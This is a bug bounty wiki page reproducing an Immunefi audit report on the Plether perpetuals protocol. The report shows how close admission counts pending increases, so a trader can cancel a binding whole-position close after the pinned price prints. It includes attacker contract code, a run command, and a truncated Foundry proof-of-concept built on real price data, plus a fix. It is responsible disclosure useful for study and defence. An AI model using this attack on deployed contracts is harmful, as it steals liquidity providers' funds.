Skip to content
Business logic Audit finding Advanced

Close admission in OrderLiquidationBatchLogic counts the account's pending increases, so an owner can cancel its own committed close after the pinned price prints, leading to direct theft of user funds from LPs

Close admission sizes a committed close against the live position plus the account's own pending same-side increases, but execution re-plans the close against the live position only. A trader can therefore commit a whole-position close that only fills if a tiny companion increase fills, then withdraw the free settlement that increase needs after the pinned price prints, cancelling the close at negligible cost and keeping the position through a favourable move.

deltabear Follow

Originally disclosed on Immunefi

Critical View original
  • Disclosed after under an hour

#99280 [SC-Critical] Close admission in OrderLiquidationBatchLogic counts the account's pending increases, so an owner can cancel its own committed close after the pinned price prints, leading to direct theft of user funds from LPs

Submitted on Nov 12th 2026 at 21:15:44 UTC by @deltabear for Audit Competition | Plether

Description

Brief/Intro

A committed close is binding and fills at the first Pyth price after its commit. Close admission sizes the close against the live position plus the account's own pending same-side increases. Execution re-plans the close against the live position only, and a close bigger than that fails for good, at no cost. So a trader commits a small partial close, a tiny increase and a close of the whole position, all pinned to one price. The whole close now fills only if the tiny increase fills, and the trader decides that after the price prints: one withdrawal of free settlement leaves the increase unable to pay its fee. I ran it in the repo's Foundry suite with the production config and the real signed Pyth prices of the 6 November 2026 US payrolls release. The trader arms the close of a 25.34M USDG LONG at 13:29:59. At 13:30:02 it reads the release in public Binance trades, cancels the close for 0.11 USDG, keeps the LONG through the move, and withdraws 10,709.71 USDG more than it put in. The victim Junior LP ends 33,075.93 USDG below the same orders with the close binding. On the same release the same rule keeps the close for a SHORT holder, so the trader gets the better of holding and closing on either side.

Vulnerability Details

  1. The trader holds a LONG of 263,124 lots (25.34M USDG). At 13:29:59 one transaction commits C0 (close 24 lots), I0 (increase 11 lots, marginDelta 0) and C1 (close 263,111 lots, which is live - c0 + i0). All three pin to the first Pyth publication after the commit, 13:30:00 (PletherOracle.sol:610-614). Router.executeOrder has no caller restriction (OrderRouter.sol:240-243).
  2. Close admission checks the close against _queuedPosition (OrderLiquidationBatchLogic.sol:344-353). That projection adds every pending same-side increase to the live size (OrderLiquidationBatchLogic.sol:392-398). So C1 is admitted at 263,124 - 24 + 11 = 263,111 lots. The same C1 without I0 reverts OrderRouter__SizeExceedsQueued. A close carries no bounty (OrderLiquidationBatchLogic.sol:235-240).
  3. A close larger than the live size reverts at commit (CloseCommitmentLib.sol:23-25). That is why C0 comes first: it keeps C1 at or below the live size at commit, while C1 exceeds live - c0 once C0 fills.
  4. At execution C1 is re-planned against the live position. If I0 did not fill, the live size is 263,100 and C1 fails CLOSE_SIZE_EXCEEDS (CfdEnginePlanLib.sol:825-828). Close failures are classed user-invalid (CfdEnginePlanLib.sol:135-143) and recorded as terminal PlannerRejected (OrderRouterExecutionSidecar.sol:846-853). The LONG stays open.
  5. The owner controls I0 after the pin. With marginDelta 0, I0 pays its trade cost from free settlement (MarginClearinghouseAccountingLib.sol:157-161), or fails MARGIN_DRAINED_BY_FEES (CfdEnginePlanLib.sol:357-364). That code is an execution-time code (CfdEnginePlanLib.sol:100-102), so the commit screen admits I0 (OrderLiquidationBatchLogic.sol:437-445). C0's fill puts 18.67 USDG back in free settlement, more than I0's 4.36 USDG cost. One withdrawMargin (MarginClearinghouse.sol:414-419) right after C0 fills takes it out. The withdrawal guard checks only the position's health and a fresh mark (CfdEngineSettlementSidecar.sol:255-284).
  6. I0 adds no new pledge, so it can fill only if C0's trimmed liquidation reserve covers I0's reserve (CfdEnginePlanLib.sol:551-577). At the pin's real basket confidence (8,058, 0.8366 bp) that needs at least 263,029 lots after C0. I measured the threshold by execution.
  7. The guarantee this breaks: "binding order semantics and the lack of a user cancellation path prevent traders from turning queued intents into free options" (SECURITY.md:658-659), and "Users cannot cancel queued orders once committed" (SECURITY.md:366). The guard that should stop it is close admission sizing a close against the live position less earlier pending closes. It counts pending increases instead, and nothing at execution ties the close back to the increase it was admitted on.

Vulnerable source code

1. close admission projects the position through the account's queued orders @ packages/perps/src/router/OrderLiquidationBatchLogic.sol:344-353

Solidity
    function _validateCloseAdmission(
        IOrderLiquidationBatchHost host,
        address account,
        CfdTypes.Side side,
        uint256 sizeDelta
    ) private view {
        ICfdEngineCore engine = host.engine();
        QueuedPositionView memory queuedPosition = _queuedPosition(host, engine, account);
        OrderValidationLib.validateCloseCommit(
            queuedPosition.exists, queuedPosition.size, queuedPosition.side, side, sizeDelta

2. the projection adds pending same-side increases @ packages/perps/src/router/OrderLiquidationBatchLogic.sol:392-398

Solidity
                } else if (!queuedPosition.exists) {
                    queuedPosition.exists = true;
                    queuedPosition.side = pending.side;
                    queuedPosition.size = pending.sizeDelta;
                } else if (pending.side == queuedPosition.side) {
                    queuedPosition.size += pending.sizeDelta;
                }

3. execution re-plans the close against the live position @ packages/perps/src/libraries/CfdEnginePlanLib.sol:825-828

Solidity
        if (pos.size < order.sizeDelta) {
            delta.revertCode = CfdEnginePlanTypes.CloseRevertCode.CLOSE_SIZE_EXCEEDS;
            return delta;
        }

4. the failure is terminal @ packages/perps/src/OrderRouterExecutionSidecar.sol:846-853

Solidity
            if (
                knownCode && category == uint256(expectedCategory)
                    && expectedCategory != CfdEnginePlanTypes.ExecutionFailurePolicyCategory.None
            ) {
                classification.terminal = true;
                classification.plannerFailure = true;
                classification.plannerIsClose = isClose == 1;
                classification.reason = OrderV3Types.TerminalReason.PlannerRejected;

5. the increase pays its trade cost from free settlement @ packages/perps/src/libraries/MarginClearinghouseAccountingLib.sol:157-161

Solidity
        if (tradeCostAssets > 0) {
            plan.settlementDebitAssets = uint256(tradeCostAssets);
            if (plan.settlementDebitAssets > freeSettlementAssets) {
                plan.insufficientFreeEquity = true;
                return plan;

6. or fails with an execution-time code @ packages/perps/src/libraries/CfdEnginePlanLib.sol:357-364

Solidity
            MarginClearinghouseAccountingLib.OpenCostPlan memory openCostPlan =
                MarginClearinghouseAccountingLib.planOpenCostApplication(
                    openCostBuckets, delta.marginDeltaAssets, delta.tradeCostAssets
                );
            if (openCostPlan.insufficientFreeEquity) {
                delta.revertCode = CfdEnginePlanTypes.OpenRevertCode.MARGIN_DRAINED_BY_FEES;
                return delta;
            }

7. the fill is pinned to the first update after the commit @ packages/perps/src/PletherOracle.sol:610-614

Solidity
        uint64 minPublishTime = request.commitTime + 1;
        uint256 settlementDeadline = uint256(request.commitTime) + orderSettlementWindow;
        uint64 maxPublishTime = uint64(settlementDeadline < block.timestamp ? settlementDeadline : block.timestamp);
        try pyth.parsePriceFeedUpdatesUnique{value: pythFee}(
            pythUpdateData, pythFeedIds, minPublishTime, maxPublishTime

Impact Details

  • Impact row: "Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield" (Critical). The attacker mints 300,000.000000 USDG and ends with 310,709.710983 USDG in its own wallet after it withdraws everything, +10,709.710983 USDG. The victim LP_J's Junior is worth 10,007,357.092660 USDG, against 10,040,433.025872 USDG with the same orders and the close binding (-33,075.933212) and 10,037,946.036337 USDG with no attacker (-30,588.943677). Senior is unchanged. The attacker's +33,085.163350 against the binding run equals the pool's -33,075.935811 plus the treasury's -9.227539, to the atom.
  • The rule pays on either side of the release. In the companion test (gist) the lever on I0 is its own maxPostLeverageBps bound, which works for a LONG or a SHORT, and the same 25.34M position runs as a LONG and as a SHORT on the same window. The trader follows one rule read from the public print: keep the position if the print favours it, otherwise keep the close. The LONG gets the holder's result (+10,709.71 against the honest closer's -22,366.15). The SHORT gets the closer's result (-19,782.93 against the honest holder's -52,807.10). Across both sides the rule beats always-hold by 33,012.70 USDG and always-close by 33,066.72 USDG, and LP_J ends 33,038.71 and 33,068.25 USDG worse.
  • Everything is production state. Every router, oracle, engine, pool and tranche parameter is the value read by eth_call from the deployed v2.0.0 at block 326633764, and setUp asserts each one. The five ticks are the real keeper ticks of 13:28:22 to 13:30:35, decoded from the signed Pyth payloads in their calldata. After every tick the test asserts the engine mark equals the deployed engine's real lastMarkPrice.
  • The decision uses public data that had printed by then. Binance EUR/USDT, from the public daily trade file on data.binance.vision (sha256 equal to its published checksum), was 8.05 bp below its last pre-release trade by 13:30:02.300, over 55 trades. A falling EUR/USD means a falling USD-quoted basket, and a LONG gains.
  • The cancel lands at commit + 3 s. On 6 November the deployment's executor finalized 42 orders 3 to 9 s after commit, 40 of them at 4 s or later. When the executor is first, the trader gets the binding close and loses nothing extra. The program: "Feasibility limitations do not change the impact or severity of a finding, only the amount paid for it."
  • Prerequisites, all permissionless: a LONG of at least 263,029 lots after C0 at this pin's confidence (25.34M USDG, 250,000 USDG of margin), a contract account that bundles executeOrder and withdrawMargin, and a scheduled release. The pool is 10M Junior and 25M Senior, inside the release caps, with an unrelated 12.6M SHORT on the book. The cancel costs I0's bounty, 0.105944 USDG.
  • The victim sees ordinary orders: C0 fills, I0 and C1 end as PlannerRejected like any order that fails at execution, and the LONG closes later at a public price. Every LP pays pro rata through the pool's trading P&L.
  • It repeats at every scheduled release. The orders are three commits, and an account holds up to 5 pending orders.
  • Dedup note.
    • #97733 (withdraw cancels a rebate-reserve open), #98732 and my report "Missing pending-order check in CfdEngine.addMargin lets a trader rescue an increase that fails its initial-margin check at its pinned price" (addMargin revives an open), and #97858 (LP-epoch settlement voids an open) each make an open fail or fill. Here the order cancelled is a close of the whole position, and close admission ties its fate to a separate 11-lot order.
    • The lever on that 11-lot order is interchangeable, so a fix to any one lever leaves this open. The companion test applies the strictest form of the withdrawal fix (no withdrawal while the account has a pending open, sibling-fix.patch in the gist). The withdrawal cancel then reverts CfdEngine__WithdrawBlockedByOpenPosition. On the same patched build, the same close dies through I0's own maxPostLeverageBps bound, with an addMargin to keep it. The attacker still ends +10,709.710975 USDG, and LP_J ends -33,075.847460 USDG against the run where the close binds. Only a change to close admission closes both.
    • HIGH-1 (SECURITY.md:701-713) is a commit after an already published price. Here the commit is at 13:29:59, before the 13:30:00 publication it pins to. The program's carve-out for a HIGH-1 report reads: "valid only with a proof of concept showing a repeatable, net-profitable extraction from LPs".
    • ACCOUNTING_SPEC.md:1096-1098 documents the projection for an open behind a queued close, and an execution recheck when that close fails. Nothing documents a close admitted against a pending increase.
    • Fix: admit a close only against the live size minus earlier pending closes, and ignore pending increases.

References

Close admission

  • packages/perps/src/router/OrderLiquidationBatchLogic.sol:235-240 - a close takes no bounty
  • packages/perps/src/router/OrderLiquidationBatchLogic.sol:344-353 - _validateCloseAdmission on the queued projection
  • packages/perps/src/router/OrderLiquidationBatchLogic.sol:367-402 - _queuedPosition
  • packages/perps/src/router/OrderLiquidationBatchLogic.sol:392-398 - pending same-side increases added
  • packages/perps/src/libraries/CloseCommitmentLib.sol:23-25 - a close larger than the live size reverts at commit

Execution and the terminal failure

  • packages/perps/src/libraries/CfdEnginePlanLib.sol:825-828 - CLOSE_SIZE_EXCEEDS
  • packages/perps/src/libraries/CfdEnginePlanLib.sol:135-143 - close failures are user-invalid
  • packages/perps/src/OrderRouterExecutionSidecar.sol:846-853 - recorded as terminal PlannerRejected

The lever on I0

  • packages/perps/src/libraries/MarginClearinghouseAccountingLib.sol:157-161 - trade cost paid from free settlement
  • packages/perps/src/libraries/CfdEnginePlanLib.sol:357-364 - MARGIN_DRAINED_BY_FEES
  • packages/perps/src/libraries/CfdEnginePlanLib.sol:100-102 - an execution-time code
  • packages/perps/src/router/OrderLiquidationBatchLogic.sol:437-445 - the commit screen rejects only commit-time codes
  • packages/perps/src/libraries/CfdEnginePlanLib.sol:551-577 - a reserve increase needs new pledge
  • packages/perps/src/MarginClearinghouse.sol:414-419 - withdrawMargin
  • packages/perps/src/CfdEngineSettlementSidecar.sol:255-284 - the withdrawal guard

Pinned fill

  • packages/perps/src/PletherOracle.sol:610-614 - first unique update after the commit
  • packages/perps/src/OrderRouter.sol:240-243 - executeOrder, no caller restriction

Guarantee and known issues

  • packages/perps/SECURITY.md:658-659 - no free options from queued intents
  • packages/perps/SECURITY.md:366 - users cannot cancel queued orders
  • packages/perps/SECURITY.md:701-713 - HIGH-1
  • packages/perps/ACCOUNTING_SPEC.md:1096-1098 - the documented projection

Link to Proof of Concept

https://gist.github.com/decies-centena-millia/34bf22ba320a612c004fdd97617f019e

Proof of Concept

Proof of Concept

One Foundry test file in the repo's own suite at a82d4fef, on the repo's BasePerpTest, with only USDG and Pyth mocked. It replays the real keeper ticks of the 6 November 2026 payrolls release and runs four worlds from one state: the attack, the same orders with the close binding, the executor first, and no attacker. Files: https://gist.github.com/decies-centena-millia/34bf22ba320a612c004fdd97617f019e

Bash
mkdir -p packages/perps/test/poc && cp CloseAdmissionPendingIncreasePoC.t.sol packages/perps/test/poc/ && cd packages/perps && forge test --match-path test/poc/CloseAdmissionPendingIncreasePoC.t.sol --skip 'test/perps/**' --skip 'test/fixtures/**' --skip 'script/**' -vv

attack step-by-step

  1. 11:50 to 13:00 UTC. LP_J deposits 10,000,000 USDG of Junior and LP_S 25,000,000 USDG of Senior through the public deposit queue. At 13:28:54 an unrelated trader opens a 131,000-lot SHORT (12.6M USDG), filled on the 13:28:55 real tick.
  2. 13:29:27. ATTACKER funds its account with 300,000 USDG and commits a 263,124-lot LONG with 250,000 USDG of margin. It fills at 96,312,388 on the 13:29:28 real tick.
  3. 13:29:59. arm withdraws free settlement down to I0's bounty and commits C0 (close 24 lots), I0 (open 11 lots, marginDelta 0) and C1 (close 263,111 lots). All three pin to the 13:30:00 publication.
  4. 13:30:00. Payrolls print. By 13:30:02.300 Binance EUR/USDT is 8.05 bp below its last pre-release trade.
  5. 13:30:02. kill executes C0 at the pin (96,320,333) and withdraws the 18.672578 USDG that C0 freed. At 13:30:05 the executor runs I0, which fails MARGIN_DRAINED_BY_FEES, and C1, which fails CLOSE_SIZE_EXCEEDS. 263,100 lots stay open.
  6. 13:30:34. ATTACKER commits a full close, filled at 96,194,628 on the 13:30:35 real tick. At 13:30:38 it withdraws everything to its wallet.

main Attack code

Solidity
// 13:29:59, one transaction: keep only I0's bounty free, then commit C0, I0, C1 (same commit second, same pinned price)
function arm(uint256 keepFree, OrderV3Types.OrderRequest calldata c0, OrderV3Types.OrderRequest calldata i0,
    OrderV3Types.OrderRequest calldata c1) external onlyOwner returns (uint64 idC0, uint64 idI0, uint64 idC1) {
    uint256 free = clearinghouse.getFreeBuyingPowerAssets(address(this));
    if (free > keepFree) clearinghouse.withdrawMargin(free - keepFree);
    idC0 = router.commitOrder(c0);
    idI0 = router.commitOrder(i0);
    idC1 = router.commitOrder(c1);
}

// 13:30:02, after the print: fill C0 at the pin, then take back the free settlement I0 needs for its fee
function kill(uint64 idC0, bytes[] calldata pinned) external onlyOwner returns (OrderV3Types.ExecutionResult memory r, uint256 withdrawn) {
    r = router.executeOrder(idC0, pinned);
    withdrawn = clearinghouse.getFreeBuyingPowerAssets(address(this));
    if (withdrawn != 0) clearinghouse.withdrawMargin(withdrawn);
}
plant : C0 (close 24), I0 (open 11, marginDelta 0) and C1 (close live - 24 + 11) committed in one transaction before the release
fire  : Router.executeOrder(C0) and MarginClearinghouse.withdrawMargin in one transaction, after a favourable print

full poc code, single file, single runnable command

Foundry: forge 1.8.5 (51a52c59), solc 0.8.35, the repo's default packages/perps/foundry.toml profile (via_ir = true, optimizer 200 runs). The libraries are at the submodule commits a82d4fef pins (forge-std f5495c9b, morpho-blue 55d2d993, openzeppelin-contracts fcbae539). No RPC is needed.

CloseAdmissionPendingIncreasePoC.t.sol, placed at packages/perps/test/poc/CloseAdmissionPendingIncreasePoC.t.sol. It extends the repo's test/perps/BasePerpTest.sol. Command, from the repo root at a82d4fef:

Bash
mkdir -p packages/perps/test/poc && cp CloseAdmissionPendingIncreasePoC.t.sol packages/perps/test/poc/ && cd packages/perps && forge test --match-path test/poc/CloseAdmissionPendingIncreasePoC.t.sol --skip 'test/perps/**' --skip 'test/fixtures/**' --skip 'script/**' -vv
Solidity
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.8.35;

// PoC: a queued close is admitted against the account's own pending increase, so the owner decides after the
// pinned price prints whether its 25.3M close fills. Real 6 Nov 2026 payrolls ticks, production config.

import {BasePerpTest} from "../perps/BasePerpTest.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {CfdTypes} from "@plether/perps/CfdTypes.sol";
import {OrderV3Types} from "@plether/perps/OrderV3Types.sol";
import {TrancheVault} from "@plether/perps/TrancheVault.sol";
import {ICfdEngineAdminHost} from "@plether/perps/interfaces/ICfdEngineAdminHost.sol";
import {IHousePool} from "@plether/perps/interfaces/IHousePool.sol";
import {IOrderLifecycleBook} from "@plether/perps/interfaces/IOrderLifecycleBook.sol";
import {IOrderRouterAccounting} from "@plether/perps/interfaces/IOrderRouterAccounting.sol";
import {IOrderRouterAdminHost} from "@plether/perps/interfaces/IOrderRouterAdminHost.sol";
import {IOrderRouterErrors} from "@plether/perps/interfaces/IOrderRouterErrors.sol";
import {MockPyth} from "@plether/test-utils/MockPyth.sol";
import {Vm} from "forge-std/Vm.sol";
import {console2} from "forge-std/console2.sol";

abstract contract CloseAdmissionNfpData {
    struct RealTick {
        bytes32 txHash;
        uint256 blockNumber;
        uint256 blockTimestamp;
        uint256 publishTime;
        uint256 prevPublishTime;
        uint256 realMark;
        uint256 basketConf;
        uint256 feedA;
        uint256 feedB;
        uint64 confA;
        uint64 confB;
    }

    struct Trade {
        uint64 aggTradeId;
        uint32 priceE4;
        uint64 qtyE1;
        uint64 timeUs;
        bool isBuyerMaker;
    }

    uint256 internal constant REAL_TICKS = 5;
    uint256 internal constant BINANCE_ROWS = 57;

    function _realTicks() internal pure returns (RealTick[] memory t) {
        t = new RealTick[](5);
        t[0] = RealTick(0x944aec2129d14e41236b2ec425194c3179189469af6c109aba71435b92c73693, 326633568, 1793971705, 1793971702, 1793971701, 96313700, 3193, 96313700, 96313700, 3193, 3194);
        t[1] = RealTick(0xd71a9f0e3f2514581c47b4c27e55250b6c96302ce68eebb01db2a844202c3ac3, 326633692, 1793971739, 1793971735, 1793971734, 96308923, 2883, 96308924, 96308922, 2883, 2884);
        t[2] = RealTick(0xfdc294390dd2a6a8e6c476b60a294a3b44056807a6f498e9e6baeb5214be3d32, 326633813, 1793971773, 1793971768, 1793971767, 96313393, 4020, 96313394, 96313392, 4020, 4020);
        t[3] = RealTick(0x989b88cdaf4ccdccd8203c6a7f2f7b6739c1484ea3e64a81ecdccb5c2136938e, 326633933, 1793971805, 1793971800, 1793971799, 96318319, 8058, 96318320, 96318318, 8058, 8058);
        t[4] = RealTick(0xfc1dc075d626b164b44ce4024e2d4a35faeecfbc8f549955115eb721f06f361f, 326634054, 1793971838, 1793971835, 1793971834, 96192674, 7818, 96192674, 96192674, 7818, 7818);
    }

    function _binanceEurUsdt() internal pure returns (Trade[] memory t) {
        t = new Trade[](57);
        t[0] = Trade(140905652, 11177, 2915, 1793971799039409, false);
        t[1] = Trade(140905653, 11177, 211, 1793971799943376, false);
        t[2] = Trade(140905654, 11176, 1099, 1793971800776620, false);
        t[3] = Trade(140905655, 11176, 6652, 1793971801089782, false);
        t[4] = Trade(140905656, 11175, 27239, 1793971801135067, true);
        t[5] = Trade(140905657, 11175, 213, 1793971801141387, true);
        t[6] = Trade(140905658, 11176, 1099, 1793971801142542, false);
        t[7] = Trade(140905659, 11177, 2527, 1793971801142542, false);
        t[8] = Trade(140905660, 11177, 4518, 1793971801143709, false);
        t[9] = Trade(140905661, 11178, 1443, 1793971801143709, false);
        t[10] = Trade(140905662, 11175, 105000, 1793971801147528, true);
        t[11] = Trade(140905663, 11178, 5523, 1793971801149219, false);
        t[12] = Trade(140905664, 11176, 435, 1793971801169867, false);
        t[13] = Trade(140905665, 11176, 1951, 1793971801171859, false);
        t[14] = Trade(140905666, 11178, 3905, 1793971801171859, false);
        t[15] = Trade(140905667, 11175, 6811, 1793971801184227, true);
        t[16] = Trade(140905668, 11174, 63838, 1793971801184227, true);
        t[17] = Trade(140905669, 11173, 6595, 1793971801184227, true);
        t[18] = Trade(140905670, 11178, 5991, 1793971801200978, false);
        t[19] = Trade(140905671, 11178, 3325, 1793971801255789, false);
        t[20] = Trade(140905672, 11174, 44747, 1793971801283667, true);
        t[21] = Trade(140905673, 11173, 89502, 1793971801283667, true);
        t[22] = Trade(140905674, 11172, 24779, 1793971801283667, true);
        t[23] = Trade(140905675, 11171, 15550, 1793971801283667, true);
        t[24] = Trade(140905676, 11174, 2744, 1793971801473946, true);
        t[25] = Trade(140905677, 11174, 894, 1793971801541179, true);
        t[26] = Trade(140905678, 11174, 5166, 1793971801576039, true);
        t[27] = Trade(140905679, 11174, 108, 1793971801582623, true);
        t[28] = Trade(140905680, 11174, 12330, 1793971801594414, true);
        t[29] = Trade(140905681, 11174, 74, 1793971801674612, true);
        t[30] = Trade(140905682, 11174, 280, 1793971801685539, true);
        t[31] = Trade(140905683, 11174, 27116, 1793971801726301, true);
        t[32] = Trade(140905684, 11178, 5900, 1793971801747272, false);
        t[33] = Trade(140905685, 11179, 6200, 1793971801747272, false);
        t[34] = Trade(140905686, 11180, 5059, 1793971801747272, false);
        t[35] = Trade(140905687, 11180, 4025, 1793971801753336, false);
        t[36] = Trade(140905688, 11181, 56, 1793971801782702, false);
        t[37] = Trade(140905689, 11174, 27119, 1793971801788065, true);
        t[38] = Trade(140905690, 11174, 883, 1793971801821523, true);
        t[39] = Trade(140905691, 11174, 421, 1793971801873819, true);
        t[40] = Trade(140905692, 11174, 57106, 1793971802003822, true);
        t[41] = Trade(140905693, 11173, 15737, 1793971802003822, true);
        t[42] = Trade(140905694, 11172, 2292, 1793971802003822, true);
        t[43] = Trade(140905695, 11171, 116226, 1793971802003822, true);
        t[44] = Trade(140905696, 11170, 61052, 1793971802003822, true);
        t[45] = Trade(140905697, 11169, 9271, 1793971802003822, true);
        t[46] = Trade(140905698, 11178, 10840, 1793971802062709, false);
        t[47] = Trade(140905699, 11172, 1342, 1793971802075138, true);
        t[48] = Trade(140905700, 11174, 8940, 1793971802085748, true);
        t[49] = Trade(140905701, 11172, 7511, 1793971802098225, true);
        t[50] = Trade(140905702, 11172, 1342, 1793971802104317, true);
        t[51] = Trade(140905703, 11170, 44763, 1793971802106342, true);
        t[52] = Trade(140905704, 11169, 10671, 1793971802106342, true);
        t[53] = Trade(140905705, 11172, 1342, 1793971802135472, true);
        t[54] = Trade(140905706, 11172, 269, 1793971802173413, true);
        t[55] = Trade(140905707, 11170, 6200, 1793971802212093, true);
        t[56] = Trade(140905708, 11168, 1051, 1793971802279323, true);
    }
}

interface IAcctRouter {
    function commitOrder(
        OrderV3Types.OrderRequest calldata request
    ) external returns (uint64 orderId);

    function executeOrder(
        uint64 orderId,
        bytes[] calldata pythUpdateData
    ) external payable returns (OrderV3Types.ExecutionResult memory result);
}

interface IAcctClearinghouse {
    function depositMargin(
        uint256 amount
    ) external;

    function withdrawMargin(
        uint256 amount
    ) external;

    function balanceAssets(
        address account
    ) external view returns (uint256);

    function getFreeBuyingPowerAssets(
        address account
    ) external view returns (uint256);
}

contract TraderAccount {
    address internal immutable owner;
    IAcctRouter internal immutable router;
    IAcctClearinghouse internal immutable clearinghouse;
    IERC20 internal immutable usdg;

    constructor(
        address router_,
        address clearinghouse_,
        address usdg_
    ) {
        owner = msg.sender;
        router = IAcctRouter(router_);
        clearinghouse = IAcctClearinghouse(clearinghouse_);
        usdg = IERC20(usdg_);
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "owner");
        _;
    }

    function fund(
        uint256 amount
    ) external onlyOwner {
        usdg.transferFrom(owner, address(this), amount);
        usdg.approve(address(clearinghouse), amount);
        clearinghouse.depositMargin(amount);
    }

    function commit(
        OrderV3Types.OrderRequest calldata request
    ) external onlyOwner returns (uint64 orderId) {
        orderId = router.commitOrder(request);
    }

    function arm(
        uint256 keepFree,
        OrderV3Types.OrderRequest calldata c0,
        OrderV3Types.OrderRequest calldata i0,
        OrderV3Types.OrderRequest calldata c1
    ) external onlyOwner returns (uint64 idC0, uint64 idI0, uint64 idC1) {
        uint256 free = clearinghouse.getFreeBuyingPowerAssets(address(this));
        if (free > keepFree) {
            clearinghouse.withdrawMargin(free - keepFree);
        }
        idC0 = router.commitOrder(c0);
        idI0 = router.commitOrder(i0);
        idC1 = router.commitOrder(c1);
    }

    function kill(
        uint64 idC0,
        bytes[] calldata pinned
    ) external onlyOwner returns (OrderV3Types.ExecutionResult memory r, uint256 withdrawn) {
        r = router.executeOrder(idC0, pinned);
        withdrawn = clearinghouse.getFreeBuyingPowerAssets(address(this));
        if (withdrawn != 0) {
            clearinghouse.withdrawMargin(withdrawn);
        }
    }

    function withdraw(
        uint256 amount
    ) external onlyOwner {
        clearinghouse.withdrawMargin(amount);
    }

    function withdrawAll() external onlyOwner {
        uint256 bal = clearinghouse.balanceAssets(address(this));
        if (bal != 0) {
            clearinghouse.withdrawMargin(bal);
        }
        uint256 w = usdg.balanceOf(address(this));
        if (w != 0) {
            usdg.transfer(owner, w);
        }
    }
}

contract CloseAdmissionPendingIncreasePoC is BasePerpTest, CloseAdmissionNfpData {
    uint256 internal constant P_MAX_EXECUTION_WINDOW = 60;
    uint256 internal constant P_MIN_OPEN_NOTIONAL = 1000e6;
    uint256 internal constant P_OPEN_BOUNTY_BPS = 1;
    uint256 internal constant P_MIN_OPEN_BOUNTY = 10_000;
    uint256 internal constant P_MAX_OPEN_BOUNTY = 200_000;
    uint256 internal constant P_PROTECTION_BOUNTY = 200_000;
    uint256 internal constant P_MAX_PENDING_ORDERS = 5;
    uint256 internal constant P_MIN_ENGINE_GAS = 600_000;

The original report as published on Immunefi, by deltabear. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely close admission projects the position through the account's pending same-side increases, while execution re-plans the close against the live position only, so nothing ties the close to the increase it was admitted on.

Impact

The attacker could keep a large position through a favourable price move and end with about 10,709 USDG more than it put in, while the Junior LP could end roughly 33,075 USDG worse than if the close had bound; the text notes the executor running first would instead give the binding close.

What the attacker needed

A large LONG position (about 25.34M USDG); 250,000 USDG of margin; a contract account bundling execute and withdraw; a scheduled price release

The fix

Close admission should size a close against the live position minus earlier pending closes and ignore pending increases.

How it was found

  1. Fund the account and open a large LONG position that fills on a real tick.
  2. In one transaction, withdraw free settlement down to the tiny increase's fee and commit a small close, a tiny increase with zero margin delta, and a close of the whole position, all pinned to the same publication.
  3. After the scheduled release prints and the public trade data shows a favourable move, execute the small close and withdraw the free settlement it freed.
  4. The tiny increase then fails for lack of free settlement and the whole-position close fails as too large, leaving the position open.
  5. Later commit a full close at the new price and withdraw everything.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A trader can queue a big order to sell a position at a price fixed in advance, and the system treats that order as binding. Here the trader also queues a tiny extra order that the big order secretly depends on, then removes the small amount of money the tiny order needs to pay its fee. The big order then fails for good, so the trader keeps the position and can profit from a price move that other users cannot react to.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by deltabear

View all

30 more disclosed reports, best first.

More from Plether

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.